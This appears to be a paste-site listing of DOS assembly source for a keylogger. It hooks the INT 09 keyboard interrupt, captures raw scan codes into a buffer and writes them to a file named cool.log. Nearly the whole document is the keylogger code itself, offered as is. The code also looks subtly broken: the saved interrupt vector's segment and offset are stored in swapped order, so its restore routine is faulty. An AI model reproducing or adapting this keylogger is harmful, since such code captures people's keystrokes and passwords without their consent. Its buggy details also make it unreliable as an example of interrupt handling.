new0x9.asm 1.8 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394
  1. .model small
  2. .code
  3. org 100h
  4. start:
  5. mov ax, 3509h ; Get old INT 09 vector
  6. int 21h
  7. mov word ptr cs:[old0x9], es
  8. mov word ptr cs:[old0x9+2], bx
  9. mov ax, 2509h ; Set our new INT 09 handler
  10. push cs
  11. pop ds
  12. mov dx, offset NEWINT09
  13. int 21h
  14. loop1:
  15. mov cx, 0FFFFh
  16. loop2: loop loop2
  17. cmp count, 20
  18. jb loop1
  19. ; Restore old interrupt vector
  20. mov ax, 2509h; INT09
  21. lds dx, old0x9
  22. int 21h
  23. push cs
  24. pop ds
  25. ; Write our keys to file
  26. mov ah, 3ch
  27. mov cx, 0
  28. mov dx, offset coolF
  29. int 21h ; Open log file
  30. jc ERROR
  31. mov bx, ax ; save file handle
  32. mov ah, 40h ; write
  33. mov cx, count ; all bytes
  34. mov dx, offset coolbuf ; data
  35. int 21h ; Write data to file
  36. mov ah, 3eh ; Close
  37. int 21h
  38. jmp NOERROR
  39. txt db 'Fuck, error creating file!$'
  40. ERROR:
  41. mov ah, 09h
  42. mov dx, offset txt
  43. int 21h
  44. NOERROR:
  45. mov ax, 4C00h
  46. int 21h ; Terminate
  47. ; Our cool int09 handler
  48. NEWINT09:
  49. push ax
  50. push bx
  51. ; get key
  52. ;GETK:
  53. in al, 60h
  54. mov bx, offset coolbuf
  55. add bx, word ptr cs:[count]
  56. mov cs:[bx], al
  57. inc count
  58. ; cmp al, 0E0h
  59. ; je GETK
  60. in al, 61h ; Get value of keyboard control lines
  61. mov ah, al ; save it
  62. or al, 80h ; set the "enable kbt" bit
  63. out 61h, al ; and write it out the contorl port
  64. xchg ah, al ; fetch the original value
  65. out 61h, al ; and write it back
  66. cli
  67. mov al, 20h ; Send End-Of-Interrupt signal
  68. out 20h, al ; to the 8259 Interrupt Controller
  69. sti
  70. pop bx
  71. pop ax
  72. iret
  73. ;------------------------------------
  74. old0x9 dd 0
  75. count dw 0
  76. coolF db 'cool.log',0
  77. coolBuf db 200 dup (?)
  78. end start